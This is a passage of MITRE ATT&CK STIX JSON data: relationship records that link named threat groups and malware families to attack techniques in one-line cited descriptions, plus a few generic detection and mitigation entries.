LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c1e2638-ca07-4825-b7e8-43690912ce74","type":"relationship","created":"2019-04-24T20:48:39.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.","url":"https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door","source_name":"Symantec Frutas Feb 2013"}],"modified":"2019-06-24T17:20:24.384Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can query and kill system processes.(Citation: Symantec Frutas Feb 2013)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c240038-5599-418a-83e4-6d9962eee0bd","type":"relationship","created":"2021-10-12T22:04:56.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant FIN5 GrrCON Oct 2016","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","url":"https://www.youtube.com/watch?v=fevGZs0EQu8"}],"modified":"2021-10-16T19:48:38.080Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) has obtained and used a customized version of [PsExec](https://attack.mitre.org/software/S0029), as well as use other tools such as [pwdump](https://attack.mitre.org/software/S0006), [SDelete](https://attack.mitre.org/software/S0195), and [Windows Credential Editor](https://attack.mitre.org/software/S0005).(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7c290539-09a9-4ff2-956a-d5026dba86a5","created":"2023-09-20T18:05:19.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-20T18:36:34.758Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) can identify strings such as Virtual, vmware, or VirtualBox to detect virtualized environments.(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7c30237d-5d03-4f5f-9488-3629f2b1813c","created":"2022-08-22T20:42:08.635Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-08-22T20:42:08.635Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2020-03-16T15:43:57.779Z","description":"[Duqu](https://attack.mitre.org/software/S0038) will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host).(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c3f8d37-e2da-45c3-8ef2-a067cd46d340","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-02-11T15:55:06.402Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) encrypts strings to make analysis more difficult.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c44064a-f697-413c-b0b1-a6b92bf3cfc3","type":"relationship","created":"2020-03-17T01:39:44.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","source_name":"Unit 42 Kazuar May 2017"}],"modified":"2020-03-17T01:39:44.605Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) uses FTP and FTPS to communicate with the C2 server.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c58aab0-77cf-469e-836e-2b8c031afd1e","type":"relationship","created":"2019-01-30T13:53:14.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2019-04-17T22:22:22.015Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) enumerates all Windows services.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c593b6a-6426-4d8e-b98b-db02d1ec1025","type":"relationship","created":"2021-07-30T15:49:45.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."},{"source_name":"Bishop Fox Sliver Framework August 2019","url":"https://labs.bishopfox.com/tech-blog/sliver","description":"Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021."},{"source_name":"GitHub Sliver Encryption","url":"https://github.com/BishopFox/sliver/wiki/Transport-Encryption","description":"BishopFox. (n.d.). Sliver Transport Encryption. Retrieved September 16, 2021."}],"modified":"2021-10-16T02:16:55.534Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can use mutual TLS and RSA cryptography to exchange a session key.(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Bishop Fox Sliver Framework August 2019)(Citation: GitHub Sliver Encryption)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c606ccd-2a38-4498-8807-47f00685c203","type":"relationship","created":"2020-05-18T20:04:59.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T20:04:59.415Z","description":"[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to identify the domain of the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c60bccc-f485-403d-ab3b-db861a3a4429","type":"relationship","created":"2019-01-29T19:18:28.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.615Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can list active processes running on the victim’s machine.(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7c73e018-a001-4de1-a607-3add2242bd73","created":"2022-03-24T11:46:08.672Z","x_mitre_version":"1.0","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) has been named `Flash.exe`, and its dropper has been named `IExplorer`.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-17T18:27:35.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c755f6c-11a3-43f7-9117-d25694338a3a","type":"relationship","created":"2020-07-23T14:20:48.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-08-19T16:31:40.621Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) can execute remote commands via the command-line interface.(Citation: Trustwave GoldenSpy June 2020)\t","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c776fbc-592a-4643-bd4f-423546a4732e","type":"relationship","created":"2021-02-10T20:45:20.021Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Windigo Mar 2014","url":"https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/","description":"Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., Léveillé, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo – the vivisection of a large Linux server‑side credential‑stealing malware campaign. Retrieved February 10, 2021."}],"modified":"2021-02-11T15:52:59.223Z","description":"[Windigo](https://attack.mitre.org/groups/G0124) has delivered a generic Windows proxy Win32/Glubteta.M. [Windigo](https://attack.mitre.org/groups/G0124) has also used multiple reverse proxy chains as part of their C2 infrastructure.(Citation: ESET Windigo Mar 2014)","relationship_type":"uses","source_ref":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7c7886ee-44c0-4ae1-ab2c-73fdea9e111b","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T20:59:11.578Z","description":"Monitor for changes made to files for unexpected modifications to file names that are mismatched between the file name on disk and that of the binary's PE metadata. This is a likely indicator that a binary was renamed after it was compiled. \n\nNote: There are no standard Windows events for file modification. However, Event ID 4663 (An attempt was made to access an object) can be used to audit and alert on attempts to access system utility binaries; the “Accesses” field can be used to filter by type of access (e.g., MODIFY vs DELETE). ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c792d18-25a3-4d85-be44-93523228748c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-16T17:46:07.873Z","description":"[Rover](https://attack.mitre.org/software/S0090) searches for files on local drives based on a predefined list of file extensions.(Citation: Palo Alto Rover)","relationship_type":"uses","source_ref":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7c79a6d4-b1ef-4b43-bf34-c79fd9805d97","created":"2024-03-13T20:32:38.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro Threat Overlap 2023","description":"SCILabs. (2023, October 8). URSA/Mispadu: Overlap analysis with other threats. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/ursa-mispadu-overlap-analysis-with-other-threats/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-02T18:00:57.266Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) has used scripts encoded in Base64 certificates to distribute malware to victims.(Citation: SCILabs Malteiro Threat Overlap 2023)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7c7b8fe8-4dfd-4367-b4a7-22321938a3b3","created":"2024-09-16T08:52:46.985Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:52:46.985Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can enumerate files and directories.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c817fbc-5dff-4059-8230-b8040dabde61","type":"relationship","created":"2021-04-16T03:01:55.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:59:57.253Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c854772-5259-49c8-94e1-66188f2fdbb9","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c859c07-f840-42da-958f-4c6af48a2498","type":"relationship","created":"2021-06-21T18:07:57.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.407Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can use the function GetIpNetTable to recover the last connections to the victim's machine.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7c85cd06-5b92-4b5d-acf5-fdd12a73b289","created":"2020-12-14T17:34:58.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:03:37.436Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) uses a Windows rootkit to mask its binaries and other relevant files.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7c8cfac3-6c47-4832-b0e9-7526a6adb933","created":"2024-09-27T12:59:48.012Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T12:59:48.012Z","description":"The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c8e34ad-89a4-44cf-bd56-d1583803f086","type":"relationship","created":"2019-01-29T18:17:59.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:57:20.694Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has a module to download and execute files on the compromised machine.(Citation: CIRCL PlugX March 2013)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c958b31-ef21-4231-9a8f-a66cb7db3355","type":"relationship","created":"2020-11-30T17:38:40.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T17:38:40.944Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) searches for files ending with dozens of different file extensions prior to encryption.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c99fea0-3497-4eec-aca9-5ffdcdec52d9","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7c9a9a32-4dbf-4146-9e16-24ba9896a754","created":"2024-04-12T10:53:22.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NGLite Trojan","description":"Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.","url":"https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-19T13:24:36.874Z","description":"[NGLite](https://attack.mitre.org/software/S1106) will initially beacon out to the NKN network via an HTTP POST over TCP 30003.(Citation: NGLite Trojan)","relationship_type":"uses","source_ref":"malware--72b5f07f-5448-4e00-9ff2-08bc193a7b77","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7c9b1259-47e5-41af-b5d5-5b8b25d0bdd2","created":"2022-03-07T19:33:01.748Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Meteor Aug 